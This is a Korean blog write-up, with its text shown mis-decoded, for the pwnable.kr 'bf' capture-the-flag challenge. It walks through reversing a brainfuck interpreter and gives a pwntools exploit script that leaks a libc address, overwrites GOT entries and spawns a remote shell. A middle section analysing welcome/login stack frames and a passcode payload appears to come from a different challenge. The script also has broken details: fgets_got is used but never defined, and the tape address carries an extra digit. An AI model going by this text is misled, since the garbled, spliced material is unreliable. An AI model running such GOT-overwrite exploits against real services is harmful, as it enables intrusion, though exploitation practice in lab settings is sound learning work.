Jastes 2022. 11. 20. 23:39

brain fuck_WriteUp

๋ณด์‹œ๋ฉด.. ๋‚ด๊ฐ€ C๋กœ ๊ฐœ๋ฐœํ•œ ๋ฉ์ฒญํ•œ ์• ๋ฎฌ๋ ˆ์ด์…˜ ํ”„๋กœ๊ทธ๋žจ์„ ๋งŒ๋“ค์—ˆ์–ด์š”..
[] ๋ช…๋ น์ด ์•„์ง ๊ตฌํ˜„ํ•˜์ง„ ์•Š์•˜์ง€๋งŒ ๋‚˜๋จธ์ง€ ๊ธฐ๋Šฅ์€ ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๋Š” ๋“ฏ?
๋ฒ„๊ทธ๋ฅผ ์ฐพ์•„์„œ ์…ธ์„ ์–ป์–ด๋ณด์•„์š”.. ๋ผ๊ณ  ํ•˜๋„ค์š”(์ง€๊ฐ€ ๋งŒ๋“ ๊ฑฐ๋ฅผ?)

์‹ค์ˆ˜ ใ…Žใ…Ž

ํŒŒ์ผ์„ ๋ฐ›์•„์„œ ์—ด์–ด๋ณด๋‹ˆ๊นŒ.. ์‹คํ–‰ํŒŒ์ผ์ด๊ณ  ๋ฆฌ๋ฒ„์‹ฑ ํ•  ๋ถ€๋ถ„์ด ๋„ˆ๋ฌด ๋งŽ์•„์„œ IDA ์‚ฌ์šฉ!

ํŒŒ์ผ์˜ ์„ค๋ช… ๋ฐ ๋ฐฉ์‹

์ฐธ๊ณ ๋กœ ์ €๋Š” ๋ฆฌ๋ฒ„์‹ฑ ๋Š…๋Š…์ด๋ผ์„œ ๋“œ๋Ÿฝ๊ฒŒ ๋ชปํ•˜๊ฑฐ๋“ ์š” ๊ทธ๋ž˜์„œ ๊ธธ์–ด์ง€๋ฉด.. ํ๊ทœ ใ… 

์œ„ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ์šฐ๋ฆฌ ๋“œ๋ฆผ์ด ๋ฌธ์ œ๋ž‘ ๋น„์Šทํ•˜๋„ค์š” ์นœ์ˆ™ํ•ด ํŒŒ์ผ ๋ถˆ๋Ÿฌ์˜ค๊ณ 
๋ฐ˜๋ณต๋ฌธ์—์„œ do_brainfuck์„ ์ง„ํ–‰ํ•˜๋Š”๋ฐ ๋‚˜๋จธ์ง€๋Š” ํ˜•์‹์ ์ธ ๋‚ด์šฉ์ด๊ณ  ์ด ๋ถ€๋ถ„์ด ํ•ต์‹ฌ!

๋ณด์‹œ๋ฉด ํฌ์ธํ„ฐ์˜ ์œ„์น˜ ๊ฐ€๊ฐ ๋ถ€๋ถ„์„ ํ†ตํ•ด ํ๋ฆ„์„ ์ œ์–ดํ•˜๋Š” ๊ฒƒ์ด๊ตฌ๋‚˜..
๋˜ํ•œ . ์„ ํ†ตํ•ด ํ•ด๋‹น ์ฃผ์†Œ์˜ ์žˆ๋Š” ๊ฐ’์„ ์ถœ๋ ฅํ•˜๋Š”๊ฑฐ๊ตฌ๋‚˜(๋ง์„ ์•ฝ๊ฐ„ ํ•ด๊น”๋ฆฌ๊ฒŒ.. ์ ์—ˆ๋„ค)
๊ทธ๋Ÿผ ์–ด๋–ป๊ฒŒ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ๋ณด๋ฉฐ ์–ด๋–ค ์šฐํšŒ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ• ์ง€ ์ƒ๊ฐํ•ด๋ด…์‹œ๋‹ค.

์œ„์— ๋ณด์‹œ๋ฉด ์™ธ๋ถ€ ๋ช…๋ น์–ด ๋ถˆ๊ฐ€(NX)์ด๋ฉฐ, ์นด๋‚˜๋ฆฌ๊ฐ€ ๊ฑธ๋ ค์žˆ์œผ๋ฏ€๋กœ์จ ์ƒ๋‹นํžˆ ๋‚œํ•ดํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ Partial RELRO์™€ PIE๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š๊ธฐ์— RTL์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ €ํฌ๋Š” system ํ•จ์ˆ˜๊ฐ€ ์—†๊ธฐ์— lib์—์„œ ๋ฐ›์•„์™€์•ผํ•˜๋ฏ€๋กœ GOT Overwrite๋ฅผ ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.


Exploit design(Senario)

๊ทธ๋Ÿผ ์•„๊นŒ "><"๋กœ ์ฃผ์†Œ๊ฐ’์„ p์˜ ํฌ์ธํ„ฐ ์œ„์น˜์—์„œ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์ง‘์ค‘ํ•˜๋ฉฐ,

์–ด๋ ต๊ฒŒ ์ƒ๊ฐํ•˜์ง€ ๋งˆ์‹œ๊ณ  ๊ฐ„๋‹จํ•˜๊ฒŒ mainํ•จ์ˆ˜์—์„œ ์‹œ์ž‘๋˜๋‹ˆ๊นŒ..

Senario
  1. memset_got → gets() ํ•จ์ˆ˜๋กœ ๋ฎ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  /bin/sh(bss ์˜์—ญ)์„ ๋„ฃ์Šต๋‹ˆ๋‹ค.
  2. fgets_got → system() ํ•จ์ˆ˜๋กœ ๋ฎ์Šต๋‹ˆ๋‹ค.
    - ์ด ๋‘ ๋ถ€๋ถ„์€ file์„ ๋ถˆ๋Ÿฌ๋“ค์ด๋Š” ๋ถ€๋ถ„์œผ๋กœ flag๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒƒ์ด๊ฒ ์ฃ ?
  3. putchar_got(ํ•ด๋‹น ์ฃผ์†Œ์˜ ์œ„์น˜์˜ ๊ฒฐ๊ณผ๋ฅผ ์ถœ๋ ฅํ•˜๋‹ˆ๊นŒ) → main() ํ•จ์ˆ˜๋กœ ๋ฎ์Œ
    - ๊ทธ๋ž˜์•ผ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” 1๋ฒˆ์˜ ๋ณ€์กฐ๋œ ๊ฐ’์œผ๋กœ ๋‹ค์‹œ ๋ฐ˜ํ™˜๋˜๊ฒ ์ฃ ?

๋จผ์ € bss ์˜์—ญ์„ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค(/bin/sh) 

nm

b์—์„œ ๋ณด์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค ์—ฌ๊ธฐ์„œ ์ €ํฌ๋Š” ์ €ํฌ๊ฐ€ ์›ํ•˜๋Š” ๋ฌธ์ž์—ด์„
์‚ฝ์ž…ํ• ๊ฒƒ์ด๊ธฐ์— ๋น„์–ด์žˆ๋Š” ๋ถ€๋ถ„์„ ์ฐพ์•„์•ผํ•ฉ๋‹ˆ๋‹ค.

nm ./bf & .bss

๋ฐ”๋กœ tape๊ฐ€ ์žˆ๋Š” ์˜์—ญ์ด ์™„์ „ํžˆ ๋น„์–ด์žˆ๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค. ์ด ๋ถ€๋ถ„์„ ์‚ฌ์šฉํ•˜๋ฉด ๋˜๊ฒ ๊ตฐ์š”
๊ทธ๋Ÿผ ๋‚˜๋จธ์ง€ ์•„๋ž˜ ์ด๋ฏธ์ง€๋กœ memset_got๋ถ€๋ถ„๊ณผ fgets์—์„œ ๊ทธ๋ฆฌ๊ณ  putchar_got ๋ถ€๋ถ„์„ ํ™•์ธํ•ฉ์‹œ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ €ํฌ bss์˜์—ญ์— ์‚ฌ์šฉ๋  tape ๋ถ€๋ถ„์˜ ์ฃผ์†Œ๋กœ์จ ๋‚˜๋จธ์ง€ got๋Š” data

๊ทธ๋Ÿผ ์ €ํฌ๋Š” ์œ„ ์ฝ”๋“œ๋ฅผ ๋ณด๊ณ  ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๊ฐ€ ๋Œ€๋žต ์–ด๋–ป๊ฒŒ ๋˜์–ด์žˆ๋Š”์ง€ ์ถ”๋ก ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

welcome func stack frame esp welcome func syscall
- name[100] - ebp(ebp-0x70) -
welcome sfp - ret - welcome func end
login func stack frame esp login func syscall
- passcode1, passcode2 - ebp(ebp-0x10 & 0xc) -
login func sfp - ret - login func end
main func stack frame - main func syscall
main sfp - ret - main func end

๊ทธ๋ฆฌ๊ณ  ์Šคํƒ์˜ esp๊ฐ€ welcome(0x88)๊ณผ login(0x28)์˜ ์ฐจ์ด๊ฐ€ 0x60(96)์œผ๋กœ
์ฐจ์ด๊ฐ€ 0x4(4)๋งŒํผ ์ฐจ์ด๊ฐ€ ์ƒ๊น๋‹ˆ๋‹ค. ์™œ ์ €๋ ‡๊ฒŒ ๊ณ„์‚ฐํ•ด์„œ ์ €๋ ‡๊ฒŒ ๋‚˜์™”๋ƒ.. ๊ทธ๋Ÿผ gdb๋กœ ํ™•์ธํ•˜๋ฉด

๊ทธ๋Ÿผ ์šฐ๋ฆฌ๋Š” ์ด ๋‘ ์ด๋ฏธ์ง€๋ฅผ ํ†ตํ•ด ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

Welcome stack frame
dummy(24byte) esp(0xffffce10)
name buff(100byte) start(0xffffce28)
dummy(12byte) ebp(0xffffce98)

์˜ ์œ„์น˜์™€ login๋„ ํ™•์ธ์„ ํ•˜๋ฉด..

ebp์˜ ์ฃผ์†Œ๊ฐ€ ๊ฐ™๋‹ค๋Š” ์ ์„ ์•Œ ์ˆ˜ ์žˆ์œผ๋ฉฐ(๋‹น์—ฐํžˆ ๋ฐ”๋กœ ๋ถˆ๋Ÿฌ์™”์œผ๋‹ˆ๊นŒ.. ๊ทธ๋Ÿด ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๊ฒ ์ฃ ?)
๋˜ํ•œ ํ•ด๋‹น esp๊ฐ€ welcome์˜ ebp์˜ ์ฃผ์†Œ์— ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค ์ƒ์„ธํ•˜๊ฒŒ ๋ด…์‹œ๋‹ค.

๋ณด์‹œ๋ฉด scanf์— passcode๊ฐ€ ๋“ค์–ด๊ฐ€๋Š”๋ฐ ๋ฐ‘์— disass์„ ๋ณด์‹œ๋ฉด edx-0x10์— ๋“ค์–ด๊ฐ€๋„ค์š”
๊ทธ๋Ÿฌ๋ฉด ์ข…ํ•ฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๊ตฌ์ƒํ•ด๋ณด๋ฉด..

login stack frame
dummy(24byte) esp(0xffffce70)
passcode1(4byte) esp(0xffffce88)
passcode2(4byte) start(0xffffce8c)
dummy(12byte) ebp(0xffffce98)

์œ„ ์ฝ”๋“œ๊ฐ€ ๋งค์šฐ ์ค‘์š”ํ•œ ์ทจ์•ฝ์ ์˜ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฉ”์ธํ•จ์ˆ˜์—์„œ welcome๊ณผ login ํ•จ์ˆ˜๊ฐ€
์‹คํ–‰๋˜๋Š”๋ฐ ๋ฉ”๋ชจ๋ฆฌ์˜ ๊ตฌ์กฐ๋ฅผ ๋น„๊ตํ•˜๋ฉด name[95-99]๊นŒ์ง€ ๊ณต์œ ๋œ๋‹ค๋Š” ์ 
๊ทธ๋ฆฌ๊ณ  scanf์—์„œ & ๋ผ๋Š” ์ธ์ž๋ฅผ ์•ˆ ๋„ฃ์œผ๋ฏ€๋กœ์จ ํ•ด๋‹น ์ฃผ์†Œ์˜ ๊ฐ’์ด ์ž…๋ ฅ๋˜๋Š” ์ 


๊ทธ๋Ÿผ if์กฐ๊ฑด์„ ๋งž์ถฐ์•ผ๊ฒ ์ฃ (NX๊ฑธ๋ ค์žˆ์–ด์š”) ๋‹ค๋ฅธ ๊ณต๊ฒฉ๊ธฐ๋ฒ•๋„ ๋ ๊ฑฐ ๊ฐ™์€๋ฐ ์ด๋ ‡๊ฒŒ ํ•ด๋ด…์‹œ๋‹ค.

NOP(0x90)*0x60(96byte) + fflush_got(4byte) + system_addr(4byte)

๋กœ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. pwntool๋ฅผ ํ™œ์šฉํ•˜์—ฌ payload๋ฅผ ์ž‘์„ฑํ•ด๋ด…์‹œ๋‹ค.

์œ„์— ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด ์–ด๋–ป๊ฒŒ ์ฃผ์†Œ๋ฅผ ์ฐพ์•˜๋Š”์ง€ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Exploit code

from pwn import*
context(arch='i386',os='linux')
context.log_level = 'debug' 

host = 'pwnable.kr'
port = 9001 

r = remote(host,port) 
libc = ELF('./libc.so')
elf = ELF('./bf')
tape = 0x0804a0a0f
gets_got = 0x0804A010
memset_got = 0x0804A02C
putchar_got = 0x0804A030 

payload = "<" * (tape - fgets_got) # go to fgets
payload += ".>" * 4   # print fgets addr
payload += "<" * 4    # go to fgets
payload += ",>" * 4   # Overwrite fgets -> system

payload +=  "<" * 4    # go to fgets 
payload += ">" * (memset_got - fgets_got) #go to memset
payload += ",>" * 4   # Overwrite gets
payload += "<" * 4    # go to memset 

payload += ">" * (putchar_got - memset_got) # go to putchar
payload += ",>" * 4   #Overwrite putchar -> main_addr
payload += "."      #run putchar() = main 

print('payload : '+payload) 

#r.recvline_startswith('type')
r.recvuntil(']\n')
r.sendline(payload) 

#recvn = Receive exactly N bytes
fgets_addr = r.recvn(4)[::-1].encode('hex')
log.info('fgets_addr = '+(fgets_addr)) 

libc_base = int(fgets_addr,16) - libc.symbols['fgets']
log.info('libc_addr = '+hex(libc_base)) 

system_addr = libc_base + libc.symbols['system']
log.info('system_addr = '+hex(system_addr)) 

gets_addr = libc_base + libc.symbols['gets']
log.info('gets_addr ='+hex(gets_addr)) 

main_addr = elf.symbols['main'] 

r.send(p32(system_addr))
r.send(p32(gets_addr))
r.send(p32(main_addr))
r.sendline('/bin/sh\x00') 

r.interactive()

 

์ฝ”๋“œ์˜ ๊ตฌ์„ฑ์€ ์•ž์—์„œ ๋‹ค ์„ค๋ช…ํ–ˆ์œผ๋ฏ€๋กœ ํ•ต์‹ฌ๋งŒ ์ง‘์–ด๋ด…์‹œ๋‹ค.
๋˜ํ•œ ํŒŒ์ด์ฌ ๋ฒ„์ „ ์ด์Šˆ๊ฐ€ ์ข€ ์žˆ์–ด์„œ.. ์ƒํ™ฉ์€ ๊ธธ์–ด์„œ.. ํ•˜.. ๋ณด์•ˆํ•˜๊ธฐ ํž˜๋“œ๋„ค์š”

 

Ubuntu์—์„œ Python ๋ฒ„์ „์„ ๋ณ€๊ฒฝํ•˜๋Š” ๋ฐฉ๋ฒ•

์šฐ๋ถ„ํˆฌ๋ฅผ ์„ค์น˜ํ•˜๋ฉด ํŒŒ์ด์„ 2.7์ด ์„ค์น˜๋˜์–ด์žˆ์Šต๋‹ˆ๋‹ค. ๋ฆฌ๋ˆ…์Šค์˜ Alternatives๋ฅผ ์ด์šฉํ•˜๋ฉด python ๋ฒ„์ „์„ ์‰ฝ๊ฒŒ ๋ณ€๊ฒฝํ•˜๊ณ  ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ถ„ํˆฌ์— ํŒŒ์ด์ฌ2.7๊ณผ ํŒŒ์ด์ฌ3.5 ๋ฒ„์ „์„ ๋ชจ๋‘ ์„ค์น˜ํ•˜๊ณ , ํŠน์ •

codechacha.com

 

[pwnable] Ubuntu 16.04์— Pwntools, Pwndbg ์„ค์น˜ํ•˜๊ธฐ

VMware Workstation Pro์— Ubuntu 16.04 ์„ค์น˜ํ•˜๊ธฐ Ubuntu ์ดˆ๊ธฐ ๊ธฐ๋ณธ ์„ค์ • ~$ sudo apt-get update ~$ sudo apt-get upgrade ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ์ตœ์‹  ํŒŒ์ผ๋“ค๋กœ ์—…๋ฐ์ดํŠธ Ubuntu 16.04์— Pwntools ์„ค์น˜ํ•˜๊ธฐ apt-get install python2.7-dev python-p

haerinn.tistory.com

์œ„์— ์ž๋ฃŒ๋ฅผ ๋ณด์‹œ๊ณ  ํŒŒ์ด์ฌ ๋ฒ„์ „์„ ๋ณ€๊ฒฝํ•ด์ฃผ์„ธ์š” ใ…Ž
์•„.. ๊ทธ๋ฆฌ๊ณ  ์ € ์œ„์— ์ต์Šค๋ž‘ ์•„๋ก€ ์ด๋ฏธ์ง€๊ฐ€ ๋‹ค๋ฅธ ์ด์œค ์›๋ž˜ ์ž‘์„ฑํ•ด์„œ ํ• ๋ผ๊ณ  ํ–ˆ๋Š”๋ฐ.. ์‹œ๊ฐ„๊ด€๊ณ„์ƒ
๋„ˆ๋ฌด ์•ˆ๋˜์„œ ์ด์ œ.. ์œ„์— ์ฝ”๋“œ๋กœ(์ ค ์ฒ˜์Œ์— ์ž‘์„ฑํ•˜๊ณ  ์„ค๊ณ„ํ•˜๊ณ  ํ•ด๋ณธ ์ฝ”๋“œ) ์‹คํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ์ต์Šค ๊ตฌ์กฐ ๋ฐ ์„ค๊ณ„๋„ ๋˜‘๊ฐ™๊ณ  ์ด์™• ๋ณด๊ธฐ ์ข‹๊ฒŒ ๊พธ๋ฏธ๊ณ 
์ž‘์„ฑํ•œ ๋ถ€๋ถ„์ด ์•„๊นŒ์›Œ์„œ.. ์‚ฌ์šฉํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค

์—ฌ๊ธฐ์„œ do_bf using func๋ถ€๋ถ„์€ '<'ptr์˜ ์˜์–ด ์•ฝ์–ด ๋“ฑ์œผ๋กœ ๊ตฌ์„ฑ๋˜์–ด ํ•ด๋‹น ํฌ์ธํ„ฐ ์œ„์น˜ ๋ณ€์กฐ ๋ฐ ์‚ฝ์ž…
๋‚˜๋จธ์ง€๋Š” ์ทจ์–‘์ฐจ์ด๋ฉฐ ๋ถ€์ˆ˜์ ์œผ๋กœ ํ•„์š”ํ•œ ์ฃผ์†Œ์™€ ํ˜•์‹์„ ์žก์•˜์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น 35๋ฒˆ์งธ ์ค„์„ ๋ณด์‹œ๋ฉด tape๋ฅผ ํฌํ•จ ์‚ฌ์šฉ๋˜๋Š” ๋ชจ๋“  ํ•จ์ˆ˜์˜ got๋Š” ์—ฌ๊ธฐ์„  .bss์˜์—ญ์— ์œ„์น˜ํ•˜๋ฉฐ,
์—ฌ๊ธฐ์„œ tape๊ฐ€ ์ƒ์œ„ ์ฃผ์†Œ์— ์ ์žฌ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ํ•ด๋‹น ํ˜•์‹์œผ๋กœ ํ•˜์˜€์Šต๋‹ˆ๋‹ค.
๋‚˜๋จธ์ง€๋Š” ํ•ด๋‹น ์ฃผ์„์„ ๋ณด์‹œ๋ฉด ๋˜๋Š” ๋ถ€๋ถ„์ด๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์Œ์œผ๋กœ ๋„˜์–ด๊ฐ„๋‹ค๋ฉด

๋‚ด๊ฐ€ ๊ณ ๋ถ„์‚ฌํˆฌํ•œ ๋ถ€๋ถ„

๋ฐ›๋Š” ๋ถ€๋ถ„(์ € ๋ถ€๋ถ„์—์„œ encoding ๋ฌธ์ œ๋„ค ๋ญ๋‚ด ๋ฒ„์ „ ์•ˆ ๋งž๋Š”๋‹ค๋‹ˆ ๋ญ๋‹ˆ ์ง„์งœ ํ™”๋‚˜์„œ ์“ฐ๋Ÿฌ์งˆ ๋ป”)
์ด์ „์— dreamhack์˜ ์‹œ์Šคํ…œ ๋กœ๋“œ๋งต ๋งˆ์ง€๋ง‰ ๋ฌธ์ œ๋„ ๋น„์Šทํ•œ ๋ฌธ์ œ๋กœ ํž˜๋“ค์—ˆ๋Š”๋ฐ
ํ•˜.. ์ด๋Ÿฐ ๋ฌธ์ œ๋Š” ๋„ˆ๋ฌด python3์ด์‹œ๋ฉด ์ €์ฒ˜๋Ÿผ ํ•˜์…”๋„ ๋ฉ๋‹ˆ๋‹ค(์ด์ „์—” python2๋กœ ํ•ด์•ผ ๋˜๋Š” ๊ฒฝ์šฐ๋Š” ๋ญ๋ƒ??)

๋‚˜๋จธ์ง€ ๋ถ€๋ถ„๋„ lb๊ตฌํ•˜๊ณ  ๊ทธ๊ฒƒ์„ ํ† ๋Œ€๋กœ ๋‚˜๋จธ์ง€ ํ•„์š”ํ•œ ๋ถ€๋ถ„์˜ ์‹ค์ œ์ฃผ์†Œ๋„ ๊ตฌํ•œ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
๋งˆ์ง€๋ง‰์˜ ๋ถ€๋ถ„์€ bss์˜์—ญ์— ๋“ค์–ด๊ฐ€๋ผ๊ณ  ํ•˜๋Š” ๊ฒ๋‹ˆ๋‹ค.(tape๊ฐ€ bss์˜์—ญ์ด๋ฏ€๋กœ)

python2.7๋ฒ„์ „ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.
pwntools.. ํ•˜ํ•˜


์•Œ๋“ค์‹ ์žก

๋ธŒ๋ ˆ์ธํฝ(Brainfuck)์€ ์šฐ์–ด๋ฐ˜ ๋ฎ๋Ÿฌ(Urban Müller)๊ฐ€ 1993๋…„๊ฒฝ์— ๋งŒ๋“  ์ตœ์†Œ์ฃผ์˜ ์ปดํ“จํ„ฐ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด

 

์šฐ์–ด๋ฐ˜ ๋ฎ๋Ÿฌ ๋งŒ๋“ค๊ธฐ - ์œ„ํ‚ค๋ฐฑ๊ณผ, ์šฐ๋ฆฌ ๋ชจ๋‘์˜ ๋ฐฑ๊ณผ์‚ฌ์ „

ํŽธ์ง‘๊ธฐ๊ฐ€ ์ง€๊ธˆ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ๋ช‡ ์ดˆ ํ›„์—๋„ ์ด ๋ฉ”์‹œ์ง€๊ฐ€ ์—ฌ์ „ํžˆ ๋ณด์ด๋ฉด, ๋ฌธ์„œ๋ฅผ ๋‹ค์‹œ ๋กœ๋“œํ•ด ์ฃผ์‹ญ์‹œ์˜ค.

ko.wikipedia.org

์ด๋ฉฐ ์‹ค์ œ๋กœ ์šฐ๋ฆฌ๊ฐ€ ํ•œ๊ฑฐ๋ž‘ ๋˜‘๊ฐ™๋„ค์š” ใ„ทใ„ท
์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜์— ๊ธฐ์žฌ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

๋ธŒ๋ ˆ์ธํฝ - ์œ„ํ‚ค๋ฐฑ๊ณผ, ์šฐ๋ฆฌ ๋ชจ๋‘์˜ ๋ฐฑ๊ณผ์‚ฌ์ „

์œ„ํ‚ค๋ฐฑ๊ณผ, ์šฐ๋ฆฌ ๋ชจ๋‘์˜ ๋ฐฑ๊ณผ์‚ฌ์ „. ๋ธŒ๋ ˆ์ธํฝ(Brainfuck)์€ ์šฐ์–ด๋ฐ˜ ๋ฎ๋Ÿฌ(Urban Müller)๊ฐ€ 1993๋…„ ๊ฒฝ์— ๋งŒ๋“  ์ตœ์†Œ์ฃผ์˜ ์ปดํ“จํ„ฐ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์ด๋‹ค. ์ด๋ฆ„์— ํฌํ•จ๋œ fuck์ด ์š•์„ค์ด๊ธฐ ๋•Œ๋ฌธ์—, ์ •์ค‘ํ•œ ํ‘œํ˜„์„

ko.wikipedia.org

 


์ฐธ๊ณ  ์ž๋ฃŒ

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€